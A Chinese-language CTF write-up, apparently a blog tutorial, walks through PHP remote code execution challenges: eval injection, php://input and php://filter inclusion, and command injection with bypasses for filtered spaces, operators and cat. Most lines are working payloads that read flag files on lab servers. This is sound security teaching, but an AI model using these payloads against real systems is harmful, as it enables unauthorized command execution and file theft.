web基础之RCE

简介:RCE称为远程代码执行漏洞;是互联网的一种安全漏洞;攻击者可以直接向后台服务器远程注入操作系统命令;从而操控后台系统;也是CTF比较常考的一个方面

1、eval执行

(1)分析后端代码:
if (isset($_REQUEST['cmd']))检查是否从存在cmd参数;eval($_REQUEST["cmd"])如果cmd参数存在的话,则eval()函数会将用户传递进来的参数当作php代码执行!

(2)查看网站当前目录

/?cmd=system("ls"); 

页面回显出来了index.php信息;并没有有用的文件;我们看一下上一级目录有啥文件吧;输入

/?cmd=system("ls /"); 

好像找到了有关flag的信息

查看文件的信息

?cmd=system("cat /flag_26015"); 

拿到flag

2、文件包含

文件包含

(1)分析后端代码

根据后端代码;首先输入?file=shell.txt;发现出现了eval函数;和上面不同的是通过post提交数据的;需要用hackbar插件或者通过bp抓包重发修改信息

(2)查看当前的目录文件(发现了index.php;shell.txt)

查看上一级目录的信息(看到etc flag文件)

ctfhub=system("ls /") 

查看flag;输入

ctfhub=system("cat /flag"); 

php://input伪协议

(1)php://input

php://input用于执行php代码;条件是allow_url_include是On;查看phpinfo文件;查看发现满足条件,直接利用!

(2)使用bp抓包;发送到重发器模块当中;修改为post请求方式;增加<?php system('ls /');?>点击send看到上一级目录有flag信息

修改为<?php system("cat /flag_27289");?>拿到flag

远程包含

(1)发现有phpinfo文件;进去看看;可以进行远程包含(allow_url_include=ON);可以使用php://input执行php函数

(2)利用hackbar插件(这里用不了;因为提交数据的方式是GET;只能用bp抓包重放修改信息

过程:url+?file=php://input;点击抓包;发送到repeater模块;然后修改GET为post;增加<?php system("ls /");?>;点击send;获得上一级目录信息;看到flag信息

修改playload:<?php system("cat /flag");?>;拿下flag

读取源代码

(1)这是尝试了一下php://input;发现漏洞点不在这;那可能就是php://filter;php://filter用于读取源码

(2)

题目提示:flag在 /flag当中;所以直接构造?file=php://filter/resource=../../../flag

http://URL/?file=php://filter/resource=../../../flag 
3、命令注入

先导知识:

命令注入无过滤

(1)明确题目意思;查看当前目录下的文件

127.0.0.1|ls 

使用cat 命令查看207971175014811.php文件;发现打不开;f12直接查看源码直接拿到flag;大佬的另一种方法就是使用base64解密

127.0.0.1|cat 14430616024597.php|base64 

base64解密拿到flag

过滤cat

(1)cat命令被过滤了,在linux当中查看文件内容的命令有很多;比如 more head tail less;

eg:
cat 由第一行开始显示内容,并将所有内容输出 tac 从最后一行倒序显示内容,并将所有内容输出 more 根据窗口大小,一页一页的现实文件内容 less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符 head 只显示头几行 tail 只显示最后几行

输入:
127.0.0.1& more flag_90501846017901.php|base64

解密拿到flag

过滤空格

分析后端代码发现对空格进行了过滤;使用<;ifs ${IFS} %0d 等等代替空格(参考web渗透---RCE)
127.0.0.1&cat<flag_20135747217897.php|base64
过滤目录分隔符

输入127.0.0.1;ls,发现了flag_is_here目录;然后进入这个目录;查看这个目录包含的文件;输入127.0.0.1;cd flag_is_here;ls;发现了flag_4635141399483.php;输入:127.0.0.1;cd flag_is_here;cat flag_4635141399483.php|base64,拿到flag;或者直接f12

过滤运算符

发现用不了运算符号了;那就使用;;然后输入127.0.0.1;cat flag_29492699725561.php直接f12查看源码;或者输入
127.0.0.1 ; base64 flag_29492699725561.php直接得到flag

综合过滤练习
自行寻找替换;很简单!为减少篇幅,此处不做过多赘述!

(1)查看服务器下的文件
&& <==> || <==> %0a <==> %0d

?ip=127.0.0.1%0als

空格<==>%09(tab)<==>${IFS}<==>$IFS<==>$IFS$9<==><

(2)查看存在flag文件目录下的文件

?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0als 

(3)查看flag文件的内容

?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0a${IFS}more${IFS}f***_236832160630622.php 
相关推荐
亚信安全官方账号2 分钟前
亚信安全发布《2024年第三季度网络安全威胁报告》
网络安全
黑客Ela2 小时前
网络安全中常用浏览器插件、拓展
网络·安全·web安全·网络安全·php
huaqiwangan2 小时前
电子远勘在侦查中有什么作用?
网络安全
G丶AEOM4 小时前
SSL/TLS,SSL,TLS分别是什么
网络·网络协议·网络安全
儒道易行4 小时前
【DVWA】RCE远程命令执行实战
网络·安全·网络安全
中云DDoS CC防护蔡蔡9 小时前
微信小程序被攻击怎么选择高防产品
服务器·网络安全·微信小程序·小程序·ddos
.Ayang17 小时前
SSRF漏洞利用
网络·安全·web安全·网络安全·系统安全·网络攻击模型·安全架构
.Ayang17 小时前
SSRF 漏洞全解析(概述、攻击流程、危害、挖掘与相关函数)
安全·web安全·网络安全·系统安全·网络攻击模型·安全威胁分析·安全架构
风间琉璃""19 小时前
二进制与网络安全的关系
安全·机器学习·网络安全·逆向·二进制
Che_Che_20 小时前
Cross-Inlining Binary Function Similarity Detection
人工智能·网络安全·gnn·二进制相似度检测